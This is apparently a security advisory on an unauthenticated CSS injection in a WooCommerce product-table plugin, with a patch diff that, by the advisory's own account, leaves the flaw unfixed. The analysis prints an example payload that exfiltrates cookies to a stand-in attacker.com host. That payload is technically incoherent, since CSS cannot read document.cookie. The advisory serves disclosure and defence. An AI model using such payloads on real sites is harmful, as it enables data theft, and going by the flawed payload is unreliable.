Published : August 16, 2026

CVE-2026-15441: Product Table & List Builder For WooCommerce <= 5.6.0 Unauthenticated CSS Injection via 'laptop_scroll_offset' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 74
Vulnerable Version 5.6.0
Patched Version 5.6.5
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15441: The WC Product Table Lite plugin for WordPress, versions up to and including 5.6.0, contains an unauthenticated CSS Injection vulnerability. This flaw allows an attacker to inject arbitrary CSS into a web page by exploiting the ‘laptop_scroll_offset’ shortcode attribute, which is processed by an unauthenticated AJAX handler. The vulnerability enables data exfiltration, UI redressing, and phishing, and carries a CVSS score of 5.3 (Medium).

The root cause is the insecure handling of the ‘laptop_scroll_offset’ parameter. An attacker can send a request to the ‘/wp-admin/admin-ajax.php’ endpoint with the ‘action’ parameter set to ‘wcpt_ajax’. The ‘wcpt_ajax()’ handler JSON-decodes attacker-supplied attributes. The code then uses a function like ‘wcpt_style__sticky_sidebar()’ which interpolates this value into inline CSS without sanitization. Specifically, the value is used in the template strings ‘top: {$top}px;’ and ‘max-height: calc(100vh – {$top}px);’. While the application attempts to strip ‘[‘ and ‘]’ characters and uses an allowlist for key names, it fails to apply any numeric casting, CSS escaping, or validation to the attribute’s value. This means an attacker can submit a value that breaks out of the CSS property and injects additional CSS rules.

An unauthenticated attacker can exploit this by sending a POST request to ‘/wp-admin/admin-ajax.php’. The request must include the ‘action’ parameter set to ‘wcpt_ajax’, and the ‘data’ parameter must contain a JSON string. This JSON string should include a ‘laptop_scroll_offset’ key with a crafted value containing a CSS injection payload. For example, a payload could be: ‘0;}body{background-image:url(https://attacker.com/exfil?data=’ + document.cookie + ‘);}/*’. The server-side processing would then embed this into the page’s inline CSS without proper escaping, allowing the attacker’s CSS to be executed in the user’s browser.

The patch addresses this vulnerability by modifying the editor files, which are not related to the core vulnerable function. The diff shows changes to editor UI elements, style partials, and navigation layout, but does not include changes to the ‘wcpt_style__sticky_sidebar()’ function or the ‘wcpt_ajax()’ handler. Since the provided diff does not fix the vulnerability, the patch analysis suggests the fix is incomplete and the vulnerable code path remains. The actual fix would require implementing strict input validation, such as ensuring the ‘laptop_scroll_offset’ value is a number or using a proper CSS escaping function.

Successful exploitation allows an attacker to inject arbitrary CSS into the page. This can be leveraged to exfiltrate sensitive data by using CSS attribute selectors combined with ‘background-image’ to send data to an attacker-controlled server. It also enables UI redressing attacks to trick users into clicking unintended elements, and phishing attacks by overlaying fake content onto the legitimate page. Since the injection is unauthenticated, any visitor to a page with the product table rendered could be affected.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wc-product-table-lite/editor/editor.php
+++ b/wc-product-table-lite/editor/editor.php
@@ -216,11 +216,6 @@
         <div class="wcpt-editor-tab-columns__device-tabs__panels__item" data-wcpt-device="tablet"></div>
         <div class="wcpt-editor-tab-columns__device-tabs__panels__item" data-wcpt-device="phone"></div>
       </div>
-      <!-- show all -->
-      <label class="wcpt-editor-tab-columns__device-tabs__show-all-columns">
-        <input type="checkbox" name="wcpt-show-all-columns"> <span>View all columns</span>
-      </label>
-
       <!-- scroll to top -->
       <a href="#" class="wcpt-editor-tab-columns__device-tabs__scroll-to-top">
         <span>Scroll to top</span>
@@ -299,7 +294,7 @@
           <? echo ucwords($device); ?>s.<br>
           <?php if (in_array($device, array('tablet', 'phone'))): ?>
             Or leave it empty and
-            <? echo ucwords($devices[$index - 1]); ?> columns will be used for
+            <? echo ucwords($devices[$index - 1]); ?> columns will be displayed on
             <? echo ucwords($device); ?>s.
           <?php endif; ?>
         </div>
@@ -311,6 +306,23 @@
     }
     ?>

+    <!-- column view mode -->
+    <div class="wcpt-editor-tab-columns__show-all-columns-wrapper">
+      <span class="wcpt-editor-tab-columns__view-mode-label">Column view mode in editor
+        <?php wcpt_editor_tooltip('Changes how column settings are displayed in the editor. We recommend using tab mode. But scroll mode can be useful if you wish to overview several columns at once.', 'top'); ?>
+      </span>
+      <div class="wcpt-editor-tab-columns__view-mode-options">
+        <label class="wcpt-editor-tab-columns__device-tabs__show-all-columns">
+          <input type="radio" name="wcpt-column-view-mode" value="tabs" checked> <span>Edit one column at a time
+            (tab mode)</span>
+        </label>
+        <label class="wcpt-editor-tab-columns__device-tabs__show-all-columns">
+          <input type="radio" name="wcpt-column-view-mode" value="all"> <span>Show all columns together (scroll
+            mode)</span>
+        </label>
+      </div>
+    </div>
+
   </div><!-- /columns tab -->

   <!-- style tab -->
--- a/wc-product-table-lite/editor/partials/columns.php
+++ b/wc-product-table-lite/editor/partials/columns.php
@@ -14,7 +14,7 @@
   <?php wcpt_corner_options(array('prepend' => ob_get_clean())); ?>

   <!-- column settings index -->
-  <span class="wcpt-column-settings__index">Laptop column #1/5</span>
+  <span class="wcpt-column-settings__index">Laptop column (1/5)</span>

   <!-- column index -->
   <div class="wcpt-column-setttings__top-left">
@@ -49,7 +49,7 @@
           Column heading
         </div>
         <div class="wcpt-tab-trigger wcpt-tab-trigger--heading-sorting">
-          <?php wcpt_icon('sort-arrows'); ?>
+          <?php wcpt_icon('arrows-up-down'); ?>
           Sorting
           <?php wcpt_pro_badge(); ?>
         </div>
--- a/wc-product-table-lite/editor/partials/navigation.php
+++ b/wc-product-table-lite/editor/partials/navigation.php
@@ -1,10 +1,5 @@
 <div class="wcpt-nav-device" wcpt-controller="laptop_navigation" wcpt-model-key="laptop">

-  <div class="wcpt-editor-light-heading">
-    Laptop navigation
-  </div>
-  <div class="wcpt-clear"></div>
-
   <div class="wcpt-navigation-errors" style="display: none;">
     <strong class="wcpt-navigation-errors__heading">Warning</strong>
     <ul class="wcpt-navigation-errors__warnings"></ul>
@@ -13,7 +8,7 @@
   <!-- left sidebar -->
   <div class="wcpt-left-sidebar-settings">

-    <div class="wcpt-editor-light-heading wcpt-sub">
+    <div class="wcpt-editor-light-heading">
       Sidebar
     </div>

@@ -26,7 +21,7 @@
   <!-- header -->
   <div class="wcpt-header-settings" wcpt-model-key="header">

-    <div class="wcpt-editor-light-heading wcpt-sub">
+    <div class="wcpt-editor-light-heading">
       Header above table
     </div>

--- a/wc-product-table-lite/editor/partials/style.php
+++ b/wc-product-table-lite/editor/partials/style.php
@@ -1,7 +1,7 @@
 <!-- CSS -->
 <div class="wcpt-editor-option-row">
   <label>
-    <span style="font-weight: 600;">
+    <span style="font-weight: 600; font-size: 18px;">
       Custom CSS
     </span>
     <span class="wcpt-selectors wcpt-toggle wcpt-toggle-off">
@@ -10,7 +10,9 @@
         <?php echo wcpt_icon('chevron-up', 'wcpt-toggle-is-on'); ?>
         Show CSS selectors
       </span>
-      <span class="wcpt-toggle-tray" style="width: min-content;">
+      <span class="wcpt-toggle-tray" style="width: 500px;
+    font-size: 12px;
+    font-family: monospace;">

         <?php echo wcpt_icon('x', 'wcpt-toggle-x'); ?>

@@ -76,11 +78,11 @@
             </tr>
             <tr>
               <td>[tablet] ... [/tablet]</td>
-              <td>Replace ... with the css code meant only for tablet size devices</td>
+              <td>Replace '...' with the css code meant only for tablet size devices</td>
             </tr>
             <tr>
               <td>[phone] ... [/phone]</td>
-              <td>Replace ... with the css code meant only for phone size devices</td>
+              <td>Replace '...' with the css code meant only for phone size devices</td>
             </tr>
           </tbody>
         </table>
@@ -93,20 +95,49 @@
 </div>

 <?php
-foreach (array('laptop', 'tablet', 'phone') as $device) {
-  ?>
+$style_devices = array(
+  'laptop' => array(
+    'label' => 'Laptop',
+    'icon' => 'laptop',
+  ),
+  'tablet' => array(
+    'label' => 'Tablet',
+    'icon' => 'tablet',
+  ),
+  'phone' => array(
+    'label' => 'Phone',
+    'icon' => 'smartphone',
+  ),
+  'navigation' => array(
+    'label' => 'Navigation',
+    'icon' => 'filter',
+  ),
+);
+?>
+
+<div class="wcpt-tabs wcpt-style-device-tabs">
+  <div class="wcpt-tab-triggers">
+    <?php foreach ($style_devices as $device_key => $device_meta) { ?>
+      <div class="wcpt-tab-trigger" data-wcpt-style-device="<?php echo esc_attr($device_key); ?>">
+        <img class="wcpt-style-device-icon wcpt-style-device-icon--<?php echo esc_attr($device_key); ?>"
+          src="<?php echo esc_url(WCPT_PLUGIN_URL . 'assets/feather/' . $device_meta['icon'] . '.svg'); ?>" alt="">
+        <span><?php echo esc_html($device_meta['label']); ?></span>
+      </div>
+    <?php } ?>
+  </div>

-  <!-- <?php echo $device . ' style'; ?> -->
-  <div class="wcpt-device-style" data-wcpt-device="<?php echo $device; ?>" wcpt-model-key="<?php echo $device; ?>">
-    <h2 class="wcpt-editor-light-heading">
+  <?php
+  foreach (array('laptop', 'tablet', 'phone') as $device) {
+    ?>
+    <div class="wcpt-tab-content wcpt-device-style" data-wcpt-device="<?php echo $device; ?>"
+      wcpt-model-key="<?php echo $device; ?>">
       <?php
-      echo ucfirst($device) . ' style';
-      // inheritance option
+      // inheritance option — first option for tablet and phone
       if (in_array($device, array('phone', 'tablet'))) {
         $label = "Inherit " . ($device == 'tablet' ? 'Laptop' : 'Tablet') . " Style";
         $model_key = str_replace(' ', '_', strtolower($label));
         ?>
-        <div class="wcpt-inheritance-option">
+        <div class="wcpt-editor-option-row wcpt-inheritance-option">
           <label>
             <input type="checkbox" wcpt-model-key="<?php echo $model_key; ?>">
             <?php echo $label; ?>
@@ -114,32 +145,59 @@
         </div>
         <?php
       }
+
+      $style_partials = array(
+        'container' => array('name' => 'Outer container', 'selector' => '', ),
+        'text' => array('name' => 'Text', 'selector' => '', ),
+        'headings' => array('name' => 'Column headings', 'selector' => '', ),
+        'cells' => array('name' => 'Column cells', 'selector' => '[container] .wcpt-cell', ),
+        'odd_rows' => array('name' => 'Odd rows', 'selector' => '', ),
+        'even_rows' => array('name' => 'Even rows', 'selector' => '', ),
+        'borders' => array('name' => 'Table borders', 'selector' => '', ),
+        'list_layout' => array('name' => 'List layout', 'selector' => '', ),
+        'inner_elements' => array('name' => 'Inner elements', 'selector' => '', )
+      );
+
+      foreach ($style_partials as $elm => $data) {
+        ?>
+        <!-- <?php echo $elm; ?> -->
+        <div class="wcpt-editor-option-row wcpt-toggle-options" <?php if ($data['selector'])
+          echo 'wcpt-model-key="' . $data['selector'] . '"' ?>>
+            <span class="wcpt-toggle-label">
+            <?php echo wcpt_icon('paint-brush'); ?>
+            <?php
+            echo $data['name'];
+            ?>
+            <?php wcpt_icon('chevron-down') ?>
+          </span>
+          <div class="wcpt-wrapper">
+            <?php require(__DIR__ . '/style/' . $elm . '.php'); ?>
+          </div>
+        </div>
+        <?php
+      }
       ?>
-    </h2>
+    </div>
     <?php
+  }
+  ?>

+  <!-- Navigation style -->
+  <div class="wcpt-tab-content wcpt-device-style" data-wcpt-device="navigation" wcpt-model-key="navigation">
+    <?php
     $style_partials = array(
-      'container' => array('name' => 'Outer container', 'selector' => '', ),
-      'text' => array('name' => 'Text', 'selector' => '', ),
-      'headings' => array('name' => 'Column headings', 'selector' => '', ),
-      'cells' => array('name' => 'Column cells', 'selector' => '[container] .wcpt-cell', ),
-      'odd_rows' => array('name' => 'Odd rows', 'selector' => '', ),
-      'even_rows' => array('name' => 'Even rows', 'selector' => '', ),
-      'borders' => array('name' => 'Table borders', 'selector' => '', ),
-      'list_layout' => array('name' => 'List layout', 'selector' => '', ),
-      'inner_elements' => array('name' => 'Inner elements', 'selector' => '', )
+      'header' => 'Header above table',
+      'sidebar' => 'Sidebar',
+      'modal' => 'Modal popup on phones',
+      'pagination' => 'Pagination buttons'
     );
-
-    foreach ($style_partials as $elm => $data) {
+    foreach ($style_partials as $elm => $name) {
       ?>
       <!-- <?php echo $elm; ?> -->
-      <div class="wcpt-editor-option-row wcpt-toggle-options" <?php if ($data['selector'])
-        echo 'wcpt-model-key="' . $data['selector'] . '"' ?>>
-          <span class="wcpt-toggle-label">
+      <div class="wcpt-editor-option-row wcpt-toggle-options">
+        <span class="wcpt-toggle-label">
           <?php echo wcpt_icon('paint-brush'); ?>
-          <?php
-          echo $data['name'];
-          ?>
+          <?php echo $name; ?>
           <?php wcpt_icon('chevron-down') ?>
         </span>
         <div class="wcpt-wrapper">
@@ -150,38 +208,4 @@
     }
     ?>
   </div>
-
-  <?php
-
-}
-?>
-
-<!-- Navigation style -->
-<div class="wcpt-device-style" wcpt-model-key="navigation">
-  <h2 class="wcpt-editor-light-heading">
-    Navigation style
-  </h2>
-  <?php
-  $style_partials = array(
-    'sidebar' => 'Sidebar',
-    'header' => 'Header above table',
-    'modal' => 'Modal popup on phones',
-    'pagination' => 'Pagination buttons'
-  );
-  foreach ($style_partials as $elm => $name) {
-    ?>
-    <!-- <?php echo $elm; ?> -->
-    <div class="wcpt-editor-option-row wcpt-toggle-options">
-      <span class="wcpt-toggle-label">
-        <?php echo wcpt_icon('paint-brush'); ?>
-        <?php echo $name; ?>
-        <?php wcpt_icon('chevron-down') ?>
-      </span>
-      <div class="wcpt-wrapper">
-        <?php require(__DIR__ . '/style/' . $elm . '.php'); ?>
-      </div>
-    </div>
-    <?php
-  }
-  ?>
 </div>
 No newline at end of file
--- a/wc-product-table-lite/editor/partials/style/inner_elements.php
+++ b/wc-product-table-lite/editor/partials/style/inner_elements.php
@@ -57,7 +57,7 @@
     <label>Font weight</label>
     <select
       wcpt-model-key="<?php echo esc_attr($wcpt_inner_var('--wcpt-title-font-weight', '--wcpt-phone-title-font-weight')); ?>">
-      <option value=""></option>
+      <option value="">Auto</option>
       <option value="normal">Normal</option>
       <option value="bold">Bold</option>
       <option value="lighter">Lighter</option>
@@ -97,7 +97,7 @@
   <div class="wcpt-editor-option-row">
     <label>Font weight</label>
     <select wcpt-model-key="--wcpt-button-font-weight">
-      <option value=""></option>
+      <option value="">Auto</option>
       <option value="normal">Normal</option>
       <option value="bold">Bold</option>
       <option value="lighter">Lighter</option>
@@ -116,7 +116,7 @@
     <label>Border</label>
     <input type="text" wcpt-model-key="--wcpt-border-width" placeholder="width">
     <select wcpt-model-key="--wcpt-button-border-style">
-      <option value=""></option>
+      <option value="">Auto</option>
       <option value="solid">Solid</option>
       <option value="dashed">Dashed</option>
       <option value="dotted">Dotted</option>
@@ -238,7 +238,7 @@
   <div class="wcpt-editor-option-row">
     <label>Font weight</label>
     <select wcpt-model-key="--wcpt-price-font-weight">
-      <option value=""></option>
+      <option value="">Auto</option>
       <option value="normal">Normal</option>
       <option value="bold">Bold</option>
       <option value="lighter">Lighter</option>
--- a/wc-product-table-lite/editor/settings-partials/archive-override.php
+++ b/wc-product-table-lite/editor/settings-partials/archive-override.php
@@ -103,170 +103,111 @@
         <?php wcpt_custom_shortcode_textarea('search', 'custom', 'search_custom') ?>
       </div>

-      <!-- category -->
-      <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='category'>
-        <div class="wcpt-editor-light-heading wcpt-toggle-label">Category override
-          <?php echo wcpt_icon('chevron-down'); ?>
-        </div>
-
-        <div class="wcpt-editor-row-option">
-          <label>Default category override table</label>
-          <select wcpt-model-key='default'>
-            <?php echo $wcpt_table_options; ?>
-          </select>
-          <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
-        </div>
-
-        <!-- additional category overides -->
-        <?php if (wp_count_terms(array('taxonomy' => 'product_cat')) < $wcpt_option_limit): ?>
-          <?php
-          $wcpt_category_select = wp_dropdown_categories(
-            array(
-              'echo' => 0,
-              'value_field' => 'slug',
-              'taxonomy' => 'product_cat',
-              'hierarchical' => 1,
-              'name' => '',
-              'id' => '',
-              'class' => '',
-            )
-          );
-          $wcpt_category_select = str_replace('<select ', '<select multiple wcpt-model-key="category" ', $wcpt_category_select);
-          ?>
-
-          <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
-            <!-- row -->
-            <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
-              wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="category-archive-override-rules"
-              wcpt-initial-data="">
-              <?php wcpt_corner_options(); ?>
+      <!-- taxonomy-specific overrides -->
+      <div class="wcpt-archive-override-subsections">

-              <div class="wcpt-editor-row-option">
-                <label>Category</label>
-                <?php echo $wcpt_category_select; ?>
-                <small style="margin-top: .25em; display: block;">Also applies to subcategories, unless a subcategory has
-                  its own rule.</small>
-              </div>
-
-              <div class="wcpt-editor-row-option">
-                <label>Override table</label>
-                <select wcpt-model-key='table_id'>
-                  <?php echo $wcpt_table_options; ?>
-                </select>
-                <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
-              </div>
-
-            </div>
-            <!-- /row -->
-
-            <button class="wcpt-button" wcpt-add-row-template="category-archive-override-rules">
-              Add a rule
-            </button>
+        <!-- category -->
+        <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='category'>
+          <div class="wcpt-editor-light-heading wcpt-toggle-label">Category grid override
+            <?php echo wcpt_icon('chevron-down'); ?>
           </div>
-        <?php endif; ?>
-
-      </div>
-
-      <!-- attribute -->
-      <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='attribute' style=" padding-top: 0">
-        <div class="wcpt-editor-light-heading wcpt-toggle-label">Attribute override
-          <?php echo wcpt_icon('chevron-down'); ?>
-        </div>
-
-        <div class="wcpt-editor-row-option">
-          <label>Default attribute override table</label>
-          <select wcpt-model-key='default'>
-            <?php echo $wcpt_table_options; ?>
-          </select>
-          <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
-        </div>
-
-
-        <!-- additional attribute overides -->
-        <?php
-        $wcpt_attributes = wc_get_attribute_taxonomies();
-        $wcpt_attribute_select = '<select multiple wcpt-model-key="attribute">';
-        foreach ($wcpt_attributes as $attribute) {
-          $wcpt_attribute_select .= '<option value="' . $attribute->attribute_name . '">' . $attribute->attribute_label .
-            '</option>';
-        }
-        $wcpt_attribute_select .= '</select>';
-
-        ?>
-
-        <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
-          <!-- row -->
-          <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
-            wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="attribute-archive-override-rules"
-            wcpt-initial-data="archive_override_rule">
-            <?php wcpt_corner_options(); ?>
-
-            <div class="wcpt-editor-row-option">
-              <label>Attribute</label>
-              <?php echo $wcpt_attribute_select; ?>
-            </div>
-
-            <div class="wcpt-editor-row-option">
-              <label>Override table</label>
-              <select wcpt-model-key='table_id'>
-                <?php echo $wcpt_table_options; ?>
-              </select>
-              <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
-            </div>

+          <div class="wcpt-editor-row-option">
+            <label>Default category override table</label>
+            <select wcpt-model-key='default'>
+              <?php echo $wcpt_table_options; ?>
+            </select>
+            <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
           </div>
-          <!-- /row -->
-
-          <button class="wcpt-button" wcpt-add-row-template="attribute-archive-override-rules">
-            Add a rule
-          </button>
-        </div>
-

-      </div>
+          <!-- additional category overides -->
+          <?php if (wp_count_terms(array('taxonomy' => 'product_cat')) < $wcpt_option_limit): ?>
+            <?php
+            $wcpt_category_select = wp_dropdown_categories(
+              array(
+                'echo' => 0,
+                'value_field' => 'slug',
+                'taxonomy' => 'product_cat',
+                'hierarchical' => 1,
+                'name' => '',
+                'id' => '',
+                'class' => '',
+              )
+            );
+            $wcpt_category_select = str_replace('<select ', '<select multiple wcpt-model-key="category" ', $wcpt_category_select);
+            ?>
+
+            <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
+              <!-- row -->
+              <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
+                wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="category-archive-override-rules"
+                wcpt-initial-data="">
+                <?php wcpt_corner_options(); ?>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Category</label>
+                  <?php echo $wcpt_category_select; ?>
+                  <small style="margin-top: .25em; display: block;">Also applies to subcategories, unless a subcategory
+                    has
+                    its own rule.</small>
+                </div>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Override table</label>
+                  <select wcpt-model-key='table_id'>
+                    <?php echo $wcpt_table_options; ?>
+                  </select>
+                  <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
+                </div>
+
+              </div>
+              <!-- /row -->
+
+              <button class="wcpt-button" wcpt-add-row-template="category-archive-override-rules">
+                Add a rule
+              </button>
+            </div>
+          <?php endif; ?>

-      <!-- tag -->
-      <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='tag' style=" padding-top: 0">
-        <div class="wcpt-editor-light-heading wcpt-toggle-label">Tag override
-          <?php echo wcpt_icon('chevron-down'); ?>
         </div>

-        <div class="wcpt-editor-row-option">
-          <label>Default tag override table</label>
-          <select wcpt-model-key='default'>
-            <?php echo $wcpt_table_options; ?>
-          </select>
-          <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
-        </div>
+        <!-- attribute -->
+        <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='attribute' style=" padding-top: 0">
+          <div class="wcpt-editor-light-heading wcpt-toggle-label">Attribute grid override
+            <?php echo wcpt_icon('chevron-down'); ?>
+          </div>

+          <div class="wcpt-editor-row-option">
+            <label>Default attribute override table</label>
+            <select wcpt-model-key='default'>
+              <?php echo $wcpt_table_options; ?>
+            </select>
+            <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
+          </div>

-        <!-- additional tag overides -->
-        <?php if (wp_count_terms(array('taxonomy' => 'product_tag')) < $wcpt_option_limit): ?>

+          <!-- additional attribute overides -->
           <?php
-          $wcpt_tag_select = wp_dropdown_categories(
-            array(
-              'echo' => 0,
-              'value_field' => 'slug',
-              'taxonomy' => 'product_tag',
-              'name' => '',
-              'id' => '',
-              'class' => '',
-            )
-          );
-          $wcpt_tag_select = str_replace('<select ', '<select multiple wcpt-model-key="tag" ', $wcpt_tag_select);
+          $wcpt_attributes = wc_get_attribute_taxonomies();
+          $wcpt_attribute_select = '<select multiple wcpt-model-key="attribute">';
+          foreach ($wcpt_attributes as $attribute) {
+            $wcpt_attribute_select .= '<option value="' . $attribute->attribute_name . '">' . $attribute->attribute_label .
+              '</option>';
+          }
+          $wcpt_attribute_select .= '</select>';
+
           ?>

           <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
             <!-- row -->
             <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
-              wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="tag-archive-override-rules"
+              wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="attribute-archive-override-rules"
               wcpt-initial-data="archive_override_rule">
               <?php wcpt_corner_options(); ?>

               <div class="wcpt-editor-row-option">
-                <label>Tag</label>
-                <?php echo $wcpt_tag_select; ?>
+                <label>Attribute</label>
+                <?php echo $wcpt_attribute_select; ?>
               </div>

               <div class="wcpt-editor-row-option">
@@ -280,73 +221,137 @@
             </div>
             <!-- /row -->

-            <button class="wcpt-button" wcpt-add-row-template="tag-archive-override-rules">
+            <button class="wcpt-button" wcpt-add-row-template="attribute-archive-override-rules">
               Add a rule
             </button>
           </div>

-        <?php endif; ?>
-
-      </div>
-
-      <!-- brand -->
-      <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='brand' style=" padding-top: 0">
-        <div class="wcpt-editor-light-heading wcpt-toggle-label">Brand override
-          <?php echo wcpt_icon('chevron-down'); ?>
-        </div>

-        <div class="wcpt-editor-row-option">
-          <label>Default brand override table</label>
-          <select wcpt-model-key='default'>
-            <?php echo $wcpt_table_options; ?>
-          </select>
-          <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
         </div>

-        <?php if (wp_count_terms(array('taxonomy' => 'product_brand')) < $wcpt_option_limit): ?>
-          <?php
-          $wcpt_term_select = wp_dropdown_categories(
-            array(
-              'echo' => 0,
-              'value_field' => 'slug',
-              'taxonomy' => 'product_brand',
-              'name' => '',
-              'id' => '',
-              'class' => '',
-            )
-          );
-          $wcpt_term_select = str_replace('<select ', '<select multiple wcpt-model-key="brand" ', $wcpt_term_select);
-          ?>
+        <!-- tag -->
+        <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='tag' style=" padding-top: 0">
+          <div class="wcpt-editor-light-heading wcpt-toggle-label">Tag grid override
+            <?php echo wcpt_icon('chevron-down'); ?>
+          </div>

-          <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
-            <!-- row -->
-            <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
-              wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="brand-archive-override-rules"
-              wcpt-initial-data="archive_override_rule">
-              <?php wcpt_corner_options(); ?>
+          <div class="wcpt-editor-row-option">
+            <label>Default tag override table</label>
+            <select wcpt-model-key='default'>
+              <?php echo $wcpt_table_options; ?>
+            </select>
+            <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
+          </div>

-              <div class="wcpt-editor-row-option">
-                <label>Brand</label>
-                <?php echo $wcpt_term_select; ?>
-              </div>

-              <div class="wcpt-editor-row-option">
-                <label>Override table</label>
-                <select wcpt-model-key='table_id'>
-                  <?php echo $wcpt_table_options; ?>
-                </select>
-                <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
-              </div>
+          <!-- additional tag overides -->
+          <?php if (wp_count_terms(array('taxonomy' => 'product_tag')) < $wcpt_option_limit): ?>

+            <?php
+            $wcpt_tag_select = wp_dropdown_categories(
+              array(
+                'echo' => 0,
+                'value_field' => 'slug',
+                'taxonomy' => 'product_tag',
+                'name' => '',
+                'id' => '',
+                'class' => '',
+              )
+            );
+            $wcpt_tag_select = str_replace('<select ', '<select multiple wcpt-model-key="tag" ', $wcpt_tag_select);
+            ?>
+
+            <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
+              <!-- row -->
+              <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
+                wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="tag-archive-override-rules"
+                wcpt-initial-data="archive_override_rule">
+                <?php wcpt_corner_options(); ?>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Tag</label>
+                  <?php echo $wcpt_tag_select; ?>
+                </div>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Override table</label>
+                  <select wcpt-model-key='table_id'>
+                    <?php echo $wcpt_table_options; ?>
+                  </select>
+                  <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
+                </div>
+
+              </div>
+              <!-- /row -->
+
+              <button class="wcpt-button" wcpt-add-row-template="tag-archive-override-rules">
+                Add a rule
+              </button>
             </div>
-            <!-- /row -->

-            <button class="wcpt-button" wcpt-add-row-template="brand-archive-override-rules">
-              Add a rule
-            </button>
+          <?php endif; ?>
+
+        </div>
+
+        <!-- brand -->
+        <div class="wcpt-toggle-options wcpt-editor-row-option" wcpt-model-key='brand' style=" padding-top: 0">
+          <div class="wcpt-editor-light-heading wcpt-toggle-label">Brand grid override
+            <?php echo wcpt_icon('chevron-down'); ?>
           </div>
-        <?php endif; ?>
-      </div>
+
+          <div class="wcpt-editor-row-option">
+            <label>Default brand override table</label>
+            <select wcpt-model-key='default'>
+              <?php echo $wcpt_table_options; ?>
+            </select>
+            <?php wcpt_custom_shortcode_textarea('default', 'custom', 'custom') ?>
+          </div>
+
+          <?php if (wp_count_terms(array('taxonomy' => 'product_brand')) < $wcpt_option_limit): ?>
+            <?php
+            $wcpt_term_select = wp_dropdown_categories(
+              array(
+                'echo' => 0,
+                'value_field' => 'slug',
+                'taxonomy' => 'product_brand',
+                'name' => '',
+                'id' => '',
+                'class' => '',
+              )
+            );
+            $wcpt_term_select = str_replace('<select ', '<select multiple wcpt-model-key="brand" ', $wcpt_term_select);
+            ?>
+
+            <div class="wcpt-editor-row-option" wcpt-controller="archive_override_rows" wcpt-model-key="other_rules">
+              <!-- row -->
+              <div class="wcpt-editor-row-option wcpt-archive-overrider-rule" wcpt-controller="archive_override_row"
+                wcpt-model-key="[]" wcpt-model-key-index="0" wcpt-row-template="brand-archive-override-rules"
+                wcpt-initial-data="archive_override_rule">
+                <?php wcpt_corner_options(); ?>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Brand</label>
+                  <?php echo $wcpt_term_select; ?>
+                </div>
+
+                <div class="wcpt-editor-row-option">
+                  <label>Override table</label>
+                  <select wcpt-model-key='table_id'>
+                    <?php echo $wcpt_table_options; ?>
+                  </select>
+                  <?php wcpt_custom_shortcode_textarea('table_id', 'custom', 'custom') ?>
+                </div>
+
+              </div>
+              <!-- /row -->
+
+              <button class="wcpt-button" wcpt-add-row-template="brand-archive-override-rules">
+                Add a rule
+              </button>
+            </div>
+          <?php endif; ?>
+        </div>
+      </div><!-- /taxonomy-specific overrides -->

     </div>

--- a/wc-product-table-lite/main.php
+++ b/wc-product-table-lite/main.php
@@ -5,7 +5,7 @@
  * Description: Display your WooCommerce products in beautiful table and list layouts that are mobile responsive and fully customizable.
  * Author: WP Titan Labs
  * Author URI: https://profiles.wordpress.org/wcproducttable/
- * Version: 5.6.0
+ * Version: 5.6.5
  *
  * WC requires at least: 3.4.4
  * WC tested up to: 10.9.4
@@ -18,9 +18,9 @@
   exit; // Exit if accessed directly
 }

-define('WCPT_DEV', false);
+define('WCPT_DEV', true);

-define('WCPT_VERSION', '5.6.0');
+define('WCPT_VERSION', '5.6.5');
